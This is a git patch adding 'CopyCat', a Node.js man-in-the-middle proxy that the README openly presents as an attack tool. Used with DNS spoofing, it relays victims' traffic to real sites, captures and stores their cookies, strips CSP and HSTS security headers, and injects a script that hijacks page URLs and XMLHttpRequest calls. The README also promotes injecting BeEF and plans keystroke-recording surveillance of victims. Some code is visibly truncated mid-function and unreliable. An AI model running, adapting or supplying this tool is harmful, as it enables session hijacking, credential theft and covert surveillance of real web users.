From e71f3eca5bbbfae5b7ba718e6e387380c6e0b492 Mon Sep 17 00:00:00 2001 From: Michael Wetherald Date: Thu, 5 Jan 2017 21:18:52 -0800 Subject: [PATCH] Initial Commit --- .env | 13 ++++ .gitignore | 1 + README.md | 45 +++++++++++++ package.json | 15 +++++ public/hijacks.js | 93 ++++++++++++++++++++++++++ routes.js | 154 +++++++++++++++++++++++++++++++++++++++++++ server.js | 23 +++++++ utils/cookies.js | 35 ++++++++++ utils/middlewares.js | 50 ++++++++++++++ utils/session.js | 35 ++++++++++ utils/urls.js | 78 ++++++++++++++++++++++ 11 files changed, 542 insertions(+) create mode 100644 .env create mode 100644 .gitignore create mode 100644 README.md create mode 100644 package.json create mode 100644 public/hijacks.js create mode 100644 routes.js create mode 100644 server.js create mode 100644 utils/cookies.js create mode 100644 utils/middlewares.js create mode 100644 utils/session.js create mode 100644 utils/urls.js diff --git a/.env b/.env new file mode 100644 index 0000000..e1fb2ae --- /dev/null +++ b/.env @@ -0,0 +1,13 @@ +vars = { + "NODE_TLS_REJECT_UNAUTHORIZED": "0", + "PORT": 80, + "HTTP": "us-west-1", + "HTTPS": "us-west-2", + "HTTPW": "us-west-3", + "HTTPSW": "us-west-4", + "SESS_COOKIE": "ccsess" +} + +Object.keys(vars).forEach(function(key){ + process.env[key] = vars[key] +}) \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..b512c09 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +node_modules \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..4c0c08b --- /dev/null +++ b/README.md @@ -0,0 +1,45 @@ +#CopyCat + +CopyCat is a Node.js based universal MITM web server. Used with DNS spoofing or another redirect attack, this server will act as a MITM for web traffic between the victim and a real server. + +Most often we see DNS spoofing used to redirect victims to an attackers server hosting a static clone of the spoofed domain's login page. But this server will forward all traffic between the victim and the spoofed domain allowing an attacker to sit in as the MITM while the victim interacts with the real domain. This also allows the attacker to inject scripts and manipulate the victim's interactions with the intended web server. + +All urls are hijacked inside the HTML response from the server causing all traffic to be rerouted back through the server (provided you have a redirect attack for those domains as well). + +### Configuration + +After cloning or downloading this repo, look at the .env file in the root directory. This is where you set the subdomains to their corresponding real prefixes. The default prefix map is: + +``` +{ + 'http://': 'us-west-1', + 'https://': 'us-west-2', + 'http://www.': 'us-west-3', + 'https://www.': 'us-west-4' +} +``` +Example url translations: +https://facebook.com -> http://us-west-2.facebook.com +https://www.google.com -> http://us-west-4.google.com + + +### Installation + +Requires [Node.js](https://nodejs.org/) v6+ to run. + +```sh +$ cd /path/to/repo +$ npm install +$ sudo node server.js +``` + +### What's Happening? +The attacker directs the victim to the spoofed domain for example http://us-west-4.facebook.com. Using DNS spoofing this request is sent to this server. It recognizes the pattern "us-west-4" means this should be a request to https://www.facebook.com. A session is either generated or looked up and associated with the request. The server makes a request to that domain. When a response is received, it hijacks any urls in the HTML to be their spoofed counterpart to ensure those requests are sent back through this server. Any cookies from the real domain are attached to the victims session to be used with future requests. Security headers are modified or deleted to allow content to render properly. A script is injected into the HTML before responding. This client side script (public/hijacks.js) overwrites the native [XMLHttpRequest.open](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/open) method to hijack the requested url. It also traverses the DOM looking for elements which request content and hijacks their urls in case they were added client side or slipped past the server side url hijaking function. The end result being a functioning version of the spoofed domain. + +### What can I do with it? +This is nothing more than a functioning platform for being a MITM with web requests. The potential to use this with other attacks is there. You completely own this domain and can run whatever arbitrary scripts you'd like, or even inject a [BeEF](http://beefproject.com/). If theyre going through this server you have complete control of the victim's experience. + +### What's Next? +Stay tuned for updates to [VeAL](https://github.com/compewter/veal). Once that platform is there to manage victim sessions, you will be able to view and manipulate victim's sessions with ease. +I'm working on a prototype of a remote viewing attack. This will mirror all mouse movements, keystrokes, and DOM elements from the victims allowing you to remotely watch the session as its happening as a sort of terrifying surveillance tool. This of course wouldn't be limited to this MITM server so it wont be found here. +In addition to viewing live, I don't see why you couldn't record a session to be viewed later. \ No newline at end of file diff --git a/package.json b/package.json new file mode 100644 index 0000000..9ce6396 --- /dev/null +++ b/package.json @@ -0,0 +1,15 @@ +{ + "name": "copycat", + "version": "1.0.0", + "description": "Universal MITM web server", + "main": "server.js", + "scripts": { + "start": "node server.js" + }, + "author": "Michael Wetherald", + "dependencies": { + "cookie-parser": "^1.4.3", + "express": "^4.14.0", + "request": "^2.79.0" + } +} diff --git a/public/hijacks.js b/public/hijacks.js new file mode 100644 index 0000000..1b26da4 --- /dev/null +++ b/public/hijacks.js @@ -0,0 +1,93 @@ +//overwrites the open method of the XMLHttpRequest class to hijack the url used +(function(open){ + XMLHttpRequest.prototype.open = function(){ + try{ + newArgs = Array.prototype.slice.call(arguments) + newArgs[1] = hijackUrl(arguments[1]) + open.apply(this, newArgs) + }catch(e){ + console.error(e) + } + } +})(XMLHttpRequest.prototype.open) + +//cycle through the DOM looking for url attributes that were added by some client side javascript +setInterval(verifyUrls, 500) +function verifyUrls(){ + Array.prototype.slice.call(document.getElementsByTagName('iframe')).forEach(replaceAttribute.bind({attributeName: 'src'})) + + Array.prototype.slice.call(document.getElementsByTagName('img')).forEach(replaceAttribute.bind({attributeName: 'src'})) + + Array.prototype.slice.call(document.getElementsByTagName('link')).forEach(replaceAttribute.bind({attributeName: 'src'})) + + Array.prototype.slice.call(document.getElementsByTagName('script')).forEach(function(script){ + if( script.src !== undefined && script.src !== '' && script.src[0] !== '/' && script.src.indexOf('chrome-extension://') !== 0 && !containsSpoofedDomain(script.src) ){ + var newScript = document.createElement('script') + newScript.src = hijackUrl(script.src) + var parent = script.parentNode + parent.appendChild(newScript) + parent.removeChild(script) + } + }) + + Array.prototype.slice.call(document.getElementsByTagName('a')).forEach(function(a){ + if( a.href[0] !== '/' && !containsSpoofedDomain(a.href) && a.href !== '' && a.href !== '#' && a.href !== undefined ){ + var oldLink = a.href + a.href = hijackUrl(a.href) + if(containsSpoofedDomain(a.innerText)){ + a.innerText = oldLink + } + } + //Some websites shim link clicks. Need to hijack that + if( a.href[0] === '/' || containsSpoofedDomain(a.href)){ + a.onclick = linkClickHandler.bind(a) + } + }) +} + +//replaces the value of the provided attribute on the provided node +function replaceAttribute(node){ + if( node[this.attributeName] !== undefined && node[this.attributeName] !== '' && node[this.attributeName][0] !== '/' && !containsSpoofedDomain(node[this.attributeName]) ){ + node[this.attributeName] = hijackUrl(node[this.attributeName]) + } +} + +//Used to prevent link shimming +function linkClickHandler(e){ + if(this.href !== '#'){ + e.preventDefault() + if(this.getAttribute('target') === '_blank'){ + window.open(this.href, '_blank') + }else{ + window.location.href = this.href + } + } +} + +//converts the provided url to its spoofed counterpart +function hijackUrl(url){ + if(containsSpoofedDomain(url) || url[0] === '/'){ + return url + } + if(url.indexOf('https://') === 0 && isHTTPSofSpoofedDomain(url)){ + return url.replace('https://', 'http://') + }else { + return url.replace(/https?\:\/\/(www\.)?/, function (prefix){ + return 'http://' + prefixToSpoofedDomain[prefix] + '.' + }) + } +} + +//returns true if the provided url contains a spoofed subdomain +function containsSpoofedDomain(url){ + return spoofedDomains.some(function (subdomain){ + return url.indexOf(subdomain) === 0 || url.indexOf('http://'+subdomain) === 0 + }) +} + +//returns true if the provided url is an https version of a spoofed domain +function isHTTPSofSpoofedDomain(url){ + return spoofedDomains.some(function (subdomain){ + return url.indexOf('https://'+subdomain) === 0 + }) +} \ No newline at end of file diff --git a/routes.js b/routes.js new file mode 100644 index 0000000..a94fc00 --- /dev/null +++ b/routes.js @@ -0,0 +1,154 @@ +const express = require('express') +const zlib = require('zlib') +const Transform = require('stream').Transform +const request = require('request')/*.defaults({ + proxy: 'http://localhost:8080' +})*/ + +const urlUtils = require('./utils/urls') +const cookieUtils = require('./utils/cookies') + +module.exports = () => { + const router = express.Router(); + + router.use('/', (req, res) => { + console.log(req.method.toLowerCase(), req.url) + + //set the cookie header for this session + req.headers.cookie = cookieUtils.cookiesToHeaderStr(Object.assign(req.session.cookies[req._domain] || {}, req.cookies)) + + //make the request to the real url + req.pipe(request[req.method.toLowerCase()](req.url)).on('response', (response) => { + //store new cookies + cookieUtils.setCookies(req.session.cookies, req._domain, response.headers['set-cookie']) + + if(req.session.update){ + cookieUtils.addSessionCookie(response.headers['set-cookie'], req.cookies[process.env.SESS_COOKIE], req._domain) + } + + //hijack redirect urls + if(response.statusCode === 301 || response.statusCode === 302){ + response.headers['location'] = urlUtils.convertUrlToSpoofed(response.headers['location']) + } + + //set status code to that from piped response + res.status(response.statusCode) + + //hijack URLs in html responses + if(response.headers['content-type'] && ~response.headers['content-type'].indexOf('text/html')){ + //creates new transform stream to hijack urls in html + const urlHijackTransformStream = new TransformStream() + //url hijacking function needs to know whether the originally requested url is an https request + urlHijackTransformStream.secure = req.url.indexOf('https://') === 0 + + //unzip encoded content before hijacking urls in html + switch (response.headers['content-encoding']) { + case 'gzip': + case 'deflate': + //delete content-encoding header because it has been unzipped + delete response.headers['content-encoding'] + //set headers on response object before piping result of url hijacks + res.set(updateResponseHeaders(response.headers)) + //pipe response into unzip stream and url hijack transform stream + response.pipe(zlib.createUnzip()).pipe(urlHijackTransformStream).pipe(res) + break + default: + //set headers on response object before piping result of url hijacks + res.set(updateResponseHeaders(response.headers)) + //pipe response into unzip stream and url hijack transform stream + response.pipe(urlHijackTransformStream).pipe(res) + break + } + }else{ + //set headers on response object before piping response + res.set(updateResponseHeaders(response.headers)) + //pipe responses back to victim without modification + response.pipe(res) + } + }) + }) + + return router +} + +//injects scripts to be loaded in the response to the victim +function injectScripts(source){ + return source.replace('' + ' + var spoofedDomains = ${JSON.stringify(urlUtils.spoofedDomains)}; + var prefixToSpoofedDomain = ${JSON.stringify(urlUtils.prefixToSpoofedDomain)}; + var sessCookieName = "${process.env.SESS_COOKIE}"; + ` +} + +//update response headers to loosen security +function updateResponseHeaders(headers){ + if(headers['Access-Control-Allow-Origin']){ + headers['Access-Control-Allow-Origin'] = urlUtils.convertUrlToSpoofed(headers['Access-Control-Allow-Origin']) || '*' + }else if(headers['access-control-allow-origin']){ + headers['access-control-allow-origin'] = urlUtils.convertUrlToSpoofed(headers['access-control-allow-origin']) || '*' + }else{ + headers['access-control-allow-origin'] = '*' + } + delete headers['content-security-policy'] + delete headers['Content-Security-Policy'] + //on the off chance this is their first time accessing this domain and its not in a preloaded STS list + delete headers['strict-transport-security'] + delete headers['Strict-Transport-Security'] + return headers +} + +//Transform stream used to hijack urls in html responses +class TransformStream extends Transform { + constructor(options) { + super(options) + } + + /*Transforms urls in each chunk. + In case a url is split across chunks, it finds the index of the last space in + the chunk and prepends it to the next chunk before modifying.*/ + _transform(chunk, encoding, done) { + let chunkStr = chunk.toString() + + //if the previous chunk had content after the last space prepend it to this chunk + if(this.remainderPrevChunk){ + chunkStr = this.remainderPrevChunk + chunkStr + this.remainderPrevChunk = '' + } + + //only push current chunk up to last whitespace (in case url is split across chunks) + const indexLastSpace = chunkStr.lastIndexOf(' ') + if(indexLastSpace === -1){ + //hijack any urls in this chunk + chunkStr = urlUtils.hijackUrls(chunkStr, this.secure) + }else{ + //store remainder of chunk after last index of space to prepend to next chunk + this.remainderPrevChunk = chunkStr.slice(indexLastSpace) + //hijack any urls in this chunk + chunkStr = urlUtils.hijackUrls(chunkStr.slice(0, indexLastSpace), this.secure) + } + + //inject client side scripts. This is done after hijacking urls to prevent hijacking the contents of these scripts + if(!this.scriptsInjected && ~chunkStr.indexOf('{ + var cookieName = cookie.split('=')[0] + if(cookie.split('=')[1].indexOf('deleted;') === 0){ + delete jar[domain][cookieName] + }else{ + jar[domain][cookieName] = cookie.substring(cookie.indexOf('=')+1, cookie.indexOf(';')) + } + }) +} + +//converts cookie jar to cookie header string +module.exports.cookiesToHeaderStr = function(cookies){ + return Object.keys(cookies).reduce((pv, cookieName)=>{ + //prevents sending session cookie to destination server + if(cookieName === process.env.SESS_COOKIE){ + return pv + } + return pv + cookieName + '=' + cookies[cookieName] + '; ' + },'') +} + +module.exports.addSessionCookie = function(setCookieHeader=[], sessionCookie, domain){ + let parsedDomain = ~domain.indexOf('www.') ? domain.slice(domain.indexOf('www.')+3) : '.'+domain + //update session cookie + setCookieHeader.push(process.env.SESS_COOKIE+'='+sessionCookie+'; expires=Fri, 01-Jan-2038 00:00:00 GMT; path=/; domain='+parsedDomain+';') +} \ No newline at end of file diff --git a/utils/middlewares.js b/utils/middlewares.js new file mode 100644 index 0000000..166a23c --- /dev/null +++ b/utils/middlewares.js @@ -0,0 +1,50 @@ +var urlUtils = require('./urls') + +//Filters out requests that don't include the spoofed domain +module.exports.filterRequests = function(req, res, next){ + if(!urlUtils.containsSpoofedDomain(req.get('host'))){ + console.log(req.get('host'), 'missing spoofed domain') + res.status(404) + res.send('Not Found') + return + } + next() +} + +//Determines spoofed url's corresponding real url and stores it on the request object +module.exports.convertSpoofedToOriginalUrl = function(req, res, next){ + req.url = urlUtils.convertSpoofedToUrl(req.get('host')) + req.originalUrl + next() +} + +//Determines the domain of the requested url and stores it on the request object +module.exports.setDomain = function(req, res, next){ + req._domain = urlUtils.convertSpoofedToUrl(req.get('host')) + req._domain = req._domain.slice(req._domain.indexOf('//')+2) + next() +} + +//Spoofs referer and origin headers +module.exports.purifyHeaders = function(req, res, next){ + if(req._domain){ + if(req.headers.referer){ + req.headers.referer = urlUtils.containsSpoofedDomain(req.headers.referer) ? urlUtils.convertSpoofedToUrl(req.headers.referer) : req.headers.referer + } + if(req.headers.origin){ + req.headers.origin = urlUtils.containsSpoofedDomain(req.headers.origin) ? urlUtils.convertSpoofedToUrl(req.headers.origin) : req.headers.origin + } + }else{ + console.log('No domain set.', req.method, req.url) + console.log('Deleting origin and referer') + delete req.headers.origin + delete req.headers.referer + } + next() +} + +//catches anything that fails to generate a response +module.exports.catchAll = function(req, res){ + res.status(404) + res.send('Not Found') + console.log('not found', req.url) +} \ No newline at end of file diff --git a/utils/session.js b/utils/session.js new file mode 100644 index 0000000..f5e57d5 --- /dev/null +++ b/utils/session.js @@ -0,0 +1,35 @@ +const crypto = require('crypto') + +module.exports = session +let sessionCookie = process.env.SESS_COOKIE + +function session(options={}){ + const store = options.store || {} + return function(req, res, next){ + req.session = req.session || {} + //if the client is sending a cookie and we have them in the store, then send them the stored version + if(req.cookies[sessionCookie] && store[req.cookies[sessionCookie]]){ + req.session.cookies = store[req.cookies[sessionCookie]] + if(!req.session.cookies[req._domain]){ + req.session.update = true + } + }else{ + //create a new session for them in the store + + //Currently uses a hash of the victim's IP address and user-agent. + //This is a simplistic solution for this proof of concept + //If multiple victims are behind the same NAT gateway with the same user-agent their sessions will collide + //One fix is to run a client side script to get their local IP and update their hash with that + const hash = crypto.createHash('sha256') + hash.update(req.ip+'||'+req.headers['user-agent'].replace(/\ /g,'').replace(/\;/g,'')) + const tmpSess = hash.digest('hex') + + store[tmpSess] = store[tmpSess] || {} + req.session.cookies = store[tmpSess] + req.cookies[sessionCookie] = tmpSess + //tells response handler to update this cookie + req.session.update = true + } + next() + } +} \ No newline at end of file diff --git a/utils/urls.js b/utils/urls.js new file mode 100644 index 0000000..00c73e3 --- /dev/null +++ b/utils/urls.js @@ -0,0 +1,78 @@ +/* + Hijacks any urls in the source according to the url prefix map: + "http://" + process.env.HTTP + ".original_url" -> http://original_url + "http://" + process.env.HTTPS + ".original_url" -> https://original_url + "http://" + process.env.HTTPW + ".original_url" -> http://www.original_url + "http://" + process.env.HTTPSW + ".original_url" -> https://www.original_url +*/ +module.exports.hijackUrls = function(source, secure){ + + source = source.replace(/(url\(|\=)('|")?\/\/[^\s/$.?#].[^\s;,")]*/g, (replacement)=>{ + if(~replacement.indexOf('//www.')){ + return replacement.slice(0, replacement.indexOf('//')) + (secure ? 'http://'+process.env.HTTPSW+'.' : 'http://'+process.env.HTTPW+'.') + replacement.slice(replacement.indexOf('//www.') + 6) + }else{ + return replacement.slice(0, replacement.indexOf('//')) + (secure ? 'http://'+process.env.HTTPS+'.' : 'http://'+process.env.HTTP+'.') + replacement.slice(replacement.indexOf('//') + 2) + } + }) + + source = source.replace(/(https?|ftp):\/\/[^\s/$.?#].[^\s;,")]*/g, convertUrlToSpoofed) + + return source +} + +//Converts url to corresponding spoofed subdomain +var convertUrlToSpoofed = module.exports.convertUrlToSpoofed = function(url){ + if(url.indexOf('https://') === 0 && isHTTPSofSpoofedDomain(url)){ + return url.replace('https://', 'http://') + }else if(containsSpoofedDomain(url)){ + return url + }else{ + return url.replace(/https?\:\/\/(www\.)?/, (prefix)=>{ + return 'http://' + prefixToSpoofedDomain[prefix] + '.' + }) + } +} + +//Converts spoofed url to corresponding real url +var convertSpoofedToUrl = module.exports.convertSpoofedToUrl = function(url){ + var convertedUrl = url.replace('http://', '') + + spoofedDomains.some((domain)=>{ + convertedUrl = convertedUrl.replace(domain+'.', spoofedDomainToPrefix[domain]) + }) + + return convertedUrl +} + +//returns true if argument contains spoofed domain +var containsSpoofedDomain = module.exports.containsSpoofedDomain = function(url){ + return spoofedDomains.some((subdomain)=>{ + return url.indexOf(subdomain) === 0 || url.indexOf('http://'+subdomain) === 0 + }) +} + +//returns true if argument is an https version of a spoofed domain +var isHTTPSofSpoofedDomain = module.exports.isHTTPSofSpoofedDomain = function(url){ + return spoofedDomains.some((subdomain)=>{ + return url.indexOf('https://'+subdomain) === 0 + }) +} + +/* + The following map environment variables of subdomains to useful variations of objects with those values +*/ +var spoofedDomains = module.exports.spoofedDomains = [process.env.HTTP, process.env.HTTPS, process.env.HTTPW, process.env.HTTPSW] + +var spoofedDomainToPrefix = module.exports.spoofedDomainToPrefix = { + [process.env.HTTP]: 'http://', + [process.env.HTTPS]: 'https://', + [process.env.HTTPW]: 'http://www.', + [process.env.HTTPSW]: 'https://www.' +} + +var prefixToSpoofedDomain = module.exports.prefixToSpoofedDomain = { + 'http://': process.env.HTTP, + 'https://': process.env.HTTPS, + 'http://www.': process.env.HTTPW, + 'https://www.': process.env.HTTPSW +} \ No newline at end of file